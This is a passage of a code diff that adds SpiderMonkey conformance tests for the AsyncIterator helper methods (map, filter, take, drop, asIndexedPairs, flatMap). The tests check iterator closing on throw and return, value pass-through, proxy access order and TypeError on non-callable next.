+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iterator = new TestAsyncIterator();
+ const iteratorHelper = method(iterator);
+
+ assertEq(iterator.closed, false);
+ iteratorHelper.next().then(
+ _ => iteratorHelper.throw(new TestError()).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, true);
+ },
+ ),
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-get-then-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-get-then-throws.js
new file mode 100644
index 0000000000..a9c8a6ebca
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-get-then-throws.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if getting `then` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return {
+ get then() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+
+ try {
+ await iterator[method](arg).next();
+ assertEq(true, false, 'Expected exception');
+ } catch(err) {
+ console.log(err);
+ assertEq(err instanceof TestError, true);
+ }
+ assertEq(iterator.closed, false);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-promise-executor-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-promise-executor-throws.js
new file mode 100644
index 0000000000..838c381b17
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-promise-executor-throws.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if executor of Promise returned by `.next` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return new Promise((resolve, reject) => {
+ throw new TestError();
+ });
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+
+ try {
+ await iterator[method](arg).next();
+ assertEq(true, false, 'Expected exception');
+ } catch(err) {
+ assertEq(err instanceof TestError, true);
+ }
+ assertEq(iterator.closed, false);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-returns-reject.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-returns-reject.js
new file mode 100644
index 0000000000..65eede2a6b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-returns-reject.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `.next` returns a rejected Promise.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.reject(new TestError());
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+
+ try {
+ await iterator[method](arg).next();
+ assertEq(true, false, 'Expected exception');
+ } catch(err) {
+ assertEq(err instanceof TestError, true);
+ }
+ assertEq(iterator.closed, false);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-then-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-then-throws.js
new file mode 100644
index 0000000000..609a49c3c7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-then-throws.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `then` returned by `next` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return {
+ then() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+
+ try {
+ await iterator[method](arg).next();
+ assertEq(true, false, 'Expected exception');
+ } catch(err) {
+ console.log(err);
+ assertEq(err instanceof TestError, true);
+ }
+ assertEq(iterator.closed, false);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js
new file mode 100644
index 0000000000..ff42a3f7b6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-next-throws.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `.next` call throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ next() {
+ throw new TestError();
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iterator = new TestAsyncIterator();
+ assertEq(iterator.closed, false);
+ method(iterator).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js
new file mode 100644
index 0000000000..1578070553
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-not-closed-on-value-throws.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `value` throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ async next() {
+ return {
+ get value() {
+ throw new TestError();
+ }
+ };
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const iterator = new TestAsyncIterator();
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ assertEq(iterator.closed, false);
+ method(iterator).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js
new file mode 100644
index 0000000000..d7e2be8f5d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-returns-done-generator-finishes.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: true, value: 'value'};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+(async () => {
+ for (const method of methods) {
+ const iterator = method(new TestIterator());
+ const {done, value} = await iterator.next();
+ assertEq(done, true);
+ assertEq(value, undefined);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-return-close-iterator-once.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-return-close-iterator-once.js
new file mode 100644
index 0000000000..4ccb6fd4b1
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-return-close-iterator-once.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `.return()` on a lazy %AsyncIterator.prototype% method multiple times closes the source iterator once.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closeCount = 0;
+ async return(value) {
+ this.closeCount++;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+(async () => {
+ // Call `return` after stepping the iterator once:
+ for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ await iterHelper.next();
+ assertEq(iter.closeCount, 0);
+ await iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ await iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ }
+
+ // Call `return` before stepping the iterator:
+ for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closeCount, 0);
+ await iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ await iterHelper.return();
+ assertEq(iter.closeCount, 1);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js
new file mode 100644
index 0000000000..45e88be26a
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-multiple-throw-close-iterator-once.js
@@ -0,0 +1,90 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `throw` on a lazy %AsyncIterator.prototype% method multiple times closes the source iterator once.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closeCount = 0;
+ async return(value) {
+ this.closeCount++;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(Infinity),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+(async () => {
+ // Call `throw` after stepping the iterator once:
+ for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ await iterHelper.next()
+ assertEq(iter.closeCount, 0);
+
+ try {
+ await iterHelper.throw(new TestError());
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ assertEq(iter.closeCount, 1);
+
+ try {
+ await iterHelper.throw(new TestError());
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ assertEq(iter.closeCount, 1);
+ }
+
+ // Call `throw` before stepping the iterator:
+ for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closeCount, 0);
+
+ try {
+ await iterHelper.throw(new TestError());
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ assertEq(iter.closeCount, 1);
+
+ try {
+ await iterHelper.throw(new TestError());
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TestError, true);
+ }
+ assertEq(iter.closeCount, 1);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator-after-done.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator-after-done.js
new file mode 100644
index 0000000000..b9a37234a8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator-after-done.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype% methods ignore iterator mutation if already done.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ values = [1, 2];
+ async next() {
+ if (this.values.length == 0)
+ return {done: true};
+ return {done: false, value: this.values.shift()};
+ }
+}
+
+function check({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(Array.isArray(value) ? value[1] : value, expectedValue);
+}
+
+const methods = [
+ ['map', x => x],
+ ['filter', x => true],
+ ['take', Infinity],
+ ['drop', 0],
+ ['asIndexedPairs', undefined],
+ ['flatMap', async function*(x) { yield x; }],
+];
+
+for (const [method, arg] of methods) {
+ (async () => {
+ const iter = new TestIterator();
+ const iterHelper = iter[method](arg);
+ check(await iterHelper.next(), false, 1);
+ check(await iterHelper.next(), false, 2);
+ check(await iterHelper.next(), true, undefined);
+ iter.values.push(3);
+ check(await iterHelper.next(), true, undefined);
+ })();
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator.js
new file mode 100644
index 0000000000..876990d945
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-mutate-iterator.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype% methods work properly if the iterator has been mutated.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ values = [1, 2];
+ async next() {
+ if (this.values.length == 0)
+ return {done: true};
+ return {done: false, value: this.values.shift()};
+ }
+}
+
+function check({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(Array.isArray(value) ? value[1] : value, expectedValue);
+}
+
+const methods = [
+ ['map', x => x],
+ ['filter', x => true],
+ ['take', Infinity],
+ ['drop', 0],
+ ['asIndexedPairs', undefined],
+ ['flatMap', async function*(x) { yield x; }],
+];
+
+for (const [method, arg] of methods) {
+ (async () => {
+ const iter = new TestIterator();
+ const iterHelper = iter[method](arg);
+ check(await iterHelper.next(), false, 1);
+ check(await iterHelper.next(), false, 2);
+ iter.values.push(3);
+ check(await iterHelper.next(), false, 3);
+ check(await iterHelper.next(), true, undefined);
+ })();
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-not-close-iterator-next-reject.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-not-close-iterator-next-reject.js
new file mode 100644
index 0000000000..43d84ae17d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-not-close-iterator-next-reject.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods don't close the iterator if `next` returns rejected promise.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.reject('rejection');
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iterator = new TestIterator();
+ assertEq(iterator.closed, false);
+ method(iterator).next().then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => {
+ assertEq(err, 'rejection');
+ assertEq(iterator.closed, false);
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-through-lastValue.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-through-lastValue.js
new file mode 100644
index 0000000000..40da229ca6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-through-lastValue.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestAsyncIterator extends AsyncIterator {
+ async next(value) {
+ return {done: false, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+];
+
+for (const method of methods) {
+ const iterator = new TestAsyncIterator();
+ const iteratorHelper = method(iterator);
+ iteratorHelper.next().then(
+ _ => iteratorHelper.next('last value').then(
+ ({done, value}) => {
+ assertEq(done, false);
+ // Unwrap the return value from asIndexedPairs.
+ assertEq(Array.isArray(value) ? value[1] : value, 'last value');
+ }
+ ),
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-value-through-chain.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-value-through-chain.js
new file mode 100644
index 0000000000..8b5506ee97
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-pass-value-through-chain.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestAsyncIterator extends AsyncIterator {
+ async next(value) {
+ return {done: false, value};
+ }
+}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(2),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+];
+
+for (const outerMethod of methods) {
+ for (const innerMethod of methods) {
+ const iterator = new TestAsyncIterator();
+ const iteratorChain = outerMethod(innerMethod(iterator));
+ iteratorChain.next().then(
+ _ => iteratorChain.next('last value').then(
+ ({done, value}) => {
+ assertEq(done, false);
+ // Unwrap the asIndexedPair return values.
+ while (Array.isArray(value)) {
+ value = value[1];
+ }
+ assertEq(value, 'last value');
+ }
+ ),
+ );
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-proxy-accesses.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-proxy-accesses.js
new file mode 100644
index 0000000000..5892a41e5b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-proxy-accesses.js
@@ -0,0 +1,68 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods access specified properties only.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+let log;
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ value = 0;
+ async next() {
+ if (this.value < 1)
+ return new Proxy({done: false, value: this.value++}, handlerProxy);
+ return new Proxy({done: true, value: undefined}, handlerProxy);
+ }
+}
+
+const methods = [
+ ['map', x => x],
+ ['filter', x => true],
+ ['take', 4],
+ ['drop', 0],
+ ['asIndexedPairs', undefined],
+ ['flatMap', async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [method, argument] of methods) {
+ log = [];
+ const iteratorProxy = new Proxy(new TestIterator(), handlerProxy);
+ const iteratorHelper = iteratorProxy[method](argument);
+
+ await iteratorHelper.next();
+ await iteratorHelper.next();
+ const {done} = await iteratorHelper.next();
+ assertEq(done, true);
+ assertEq(
+ log.join('\n'),
+ `get: ${method}
+get: next
+get: value
+get: value
+set: value,1
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: then
+get: done
+get: value
+get: value
+get: then
+get: done`
+ );
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-closes-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-closes-iterator.js
new file mode 100644
index 0000000000..98a0902b75
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-closes-iterator.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `return` on a lazy %AsyncIterator.prototype% method closes the source iterator.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ iterHelper.next().then(() => {
+ assertEq(iter.closed, false);
+ iterHelper.return(0).then(({done, value}) => {
+ assertEq(iter.closed, true);
+ assertEq(done, true);
+ assertEq(value, 0);
+ });
+ });
+}
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closed, false);
+ iterHelper.return(0).then(({done, value}) => {
+ assertEq(iter.closed, true);
+ assertEq(done, true);
+ assertEq(value, 0);
+ });
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-new-iterator-result.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-new-iterator-result.js
new file mode 100644
index 0000000000..02cae2740d
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-return-new-iterator-result.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy Iterator Helper methods return new iterator result objects.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+const iterResult = {done: false, value: 1, testProperty: 'test'};
+class TestIterator extends AsyncIterator {
+ async next() {
+ return iterResult;
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => true),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+// Call `return` before stepping the iterator:
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+ iterHelper.next().then(result => {
+ assertEq(result == iterResult, false);
+ assertEq(result.testProperty, undefined);
+ });
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-closes-iterator-before-next.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-closes-iterator-before-next.js
new file mode 100644
index 0000000000..4e9d9f6421
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-closes-iterator-before-next.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Calling `throw` on a lazy %AsyncIterator.prototype% method closes the source iterator.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+async function* gen(x) { yield x; }
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(gen),
+];
+
+for (const method of methods) {
+ const iter = new TestIterator();
+ const iterHelper = method(iter);
+
+ assertEq(iter.closed, false);
+ iterHelper.throw(new TestError()).then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+
+ iterHelper.next().then(({done, value}) => {
+ assertEq(done, true);
+ assertEq(value, undefined);
+ });
+ },
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js
new file mode 100644
index 0000000000..489887d020
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-throw-eagerly-on-next-non-callable.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods throw eagerly when `next` is non-callable.
+info: >
+ Iterator Helpers proposal 1.1.1
+features: [iterator-helpers]
+---*/
+
+async function* gen(x) { yield x; }
+const methods = [
+ next => AsyncIterator.prototype.map.bind({next}, x => x),
+ next => AsyncIterator.prototype.filter.bind({next}, x => x),
+ next => AsyncIterator.prototype.take.bind({next}, 1),
+ next => AsyncIterator.prototype.drop.bind({next}, 0),
+ next => AsyncIterator.prototype.asIndexedPairs.bind({next}),
+ next => AsyncIterator.prototype.flatMap.bind({next}, gen),
+];
+
+for (const method of methods) {
+ assertThrowsInstanceOf(method(0), TypeError);
+ assertThrowsInstanceOf(method(false), TypeError);
+ assertThrowsInstanceOf(method(undefined), TypeError);
+ assertThrowsInstanceOf(method(null), TypeError);
+ assertThrowsInstanceOf(method(''), TypeError);
+ assertThrowsInstanceOf(method(Symbol('')), TypeError);
+ assertThrowsInstanceOf(method({}), TypeError);
+ assertThrowsInstanceOf(method([]), TypeError);
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
